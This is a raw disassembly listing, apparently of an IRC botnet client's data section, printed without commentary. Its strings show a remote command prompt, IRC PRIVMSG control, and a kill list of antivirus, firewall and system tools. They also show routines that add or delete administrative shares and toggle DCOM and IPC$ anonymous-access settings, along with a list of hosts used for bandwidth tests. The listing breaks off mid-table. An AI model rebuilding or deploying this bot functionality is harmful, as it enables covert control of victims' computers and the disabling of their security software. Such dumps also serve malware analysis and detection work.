sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 10h aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 4 dword_439698 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_4396C4 db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396F0 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397F8 dd offset dword_4397EC dd offset dword_4397E0 dd offset dword_4397D4 dd offset dword_4397C8 dd offset dword_4397BC dd offset dword_4397AC dd offset dword_4397A0 dd offset dword_439794 dd offset dword_439788 dd offset dword_43977C dd offset dword_43976C dd offset dword_439760 dd offset dword_439750 dword_439750 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:0043974Co dword_439760 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439748o dword_43976C dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:00439744o dword_43977C dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439740o dword_439788 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043973Co dword_439794 dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439738o dword_4397A0 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439734o dword_4397AC dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439730o dword_4397BC dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:0043972Co dword_4397C8 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439728o dword_4397D4 dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:00439724o dword_4397E0 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:00439720o dword_4397EC dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:0043971Co dword_4397F8 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:00439718o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439714o align 4 aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439710o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:0043970Co align 10h aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:00439708o align 10h aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:00439704o align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:00439700o align 4 aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396FCo aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396F8o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396F4o align 10h aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396F0o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 4 unk_4398A8 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_4398CC db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 10h unk_4398F0 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_439920 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439950 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 4 unk_439978 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 4 unk_4399A8 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399DC db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 10h off_439A00 dd offset dword_439A38 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao align 8 dd offset dword_439A30 align 10h off_439A10 dd offset dword_439A2C ; DATA XREF: sub_41A19D+1E3o dd offset dword_439A28 dd offset dword_439A24 dd offset dword_439A20 dword_439A20 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:00439A1Co dword_439A24 dd 2444h ; DATA XREF: ___:00439A18o dword_439A28 dd 5C3A43h ; DATA XREF: ___:00439A14o dword_439A2C dd 2443h ; DATA XREF: ___:off_439A10o dword_439A30 dd 494D4441h, 244Eh ; DATA XREF: ___:00439A08o dword_439A38 dd 24435049h, 0 ; DATA XREF: ___:off_439A00o dword_439A40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439A70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 4 dword_439A98 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439AC4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 4 dword_439AE8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439B14 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 4 dword_439B38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439B68 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439BA4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 4 dword_439BD8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 4 dword_439C28 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C58 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C78 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 4 dword_439CA8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_0 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_1 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CD8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439D00 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439D20 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D5C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D94 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DD4 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DF0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 4 dword_439E48 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 4 aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 10h aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 4 aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 4 aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 4 aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A060 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A13C dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 10h aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 10h dword_43A170 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A1B4 dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A1B8 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A1BC dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A1C4 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1D4 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A204 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h dword_43A230 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A24C db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43A288 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A2A4 dd 2A2F2Ah, 2 dup(0) ; DATA XREF: sub_41ADB5+3Bo dword_43A2B0 dd 5FBC83C5h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A2C0 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A2CC dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2D8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2DC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2F0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2F4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A300 dd offset off_43A300 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A304 dd offset off_43A300 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A318 dd offset dword_43A318 dword_43A310 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A318 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A308o ; ___:0043A30Co off_43C320 dd offset off_43A300 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C324 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C328 dd offset word_43C332 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C32C dd offset word_43C332 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C332 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C328o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C534 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C538 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C540 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C544 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C548 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C550 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C554 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C560 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C640 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C644 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C7A8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C7B0 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C7B8 dd 14h ; DATA XREF: sub_421624+2o off_43C7BC dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C29Ch, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C890 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C8A0 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C8B8 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C8C4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8D0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8D4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8D8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8DC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8E0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8E4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8F4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8F8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8FC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C970 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C974 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C978 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C97C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C980 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C988 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C98C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43384Ch dd 0FFh, 427960h off_43CA18 dd offset dword_4DB5E0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5E0 dd 101h dword_43CA28 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA38 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA58 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA88 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC98 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CCA0 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CCA8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CCC0 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43CCD8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCDC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCE0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCE4 dd offset dword_545350 ; DATA XREF: ___:off_43CD64o dd 0Fh dup(0) off_43CD24 dd offset dword_544450 ; DATA XREF: ___:off_43CD68o dd 0Fh dup(0) off_43CD64 dd offset off_43CCE4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD68 dd offset off_43CD24 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD70 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD74 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD78 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD80 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD84 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD88 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD8C dd 0FFFFFFFFh ; DATA XREF: sub_424BF6+84r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_43CDBC dd 16Dh ; DATA XREF: sub_422669+2Ar ; sub_424BF6+2Er ... dword_43CDC0 dd 0FFFFFFFFh ; DATA XREF: sub_424BF6:loc_424C82r dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43CDF8 dd 2 dup(0) ; DATA XREF: sub_425DDA+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 